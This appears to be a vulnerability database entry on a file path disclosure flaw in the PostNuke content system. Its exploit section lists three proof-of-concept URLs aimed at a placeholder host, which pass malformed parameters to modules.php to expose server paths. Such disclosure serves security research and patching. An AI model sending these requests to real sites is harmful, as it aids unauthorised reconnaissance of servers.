• info
• discussion
• exploit
• solution
• references

PostNuke File Path Disclosure Vulnerability

The following proof of concepts has been made available:

http://www.target.com/modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=uname1234

http://www.target.com/modules.php?op=modload&name=Stats&file=

http://www.target.com/modules.php?op=modload&name=Members_List&file=index&letter=Svi&sortby=uname1234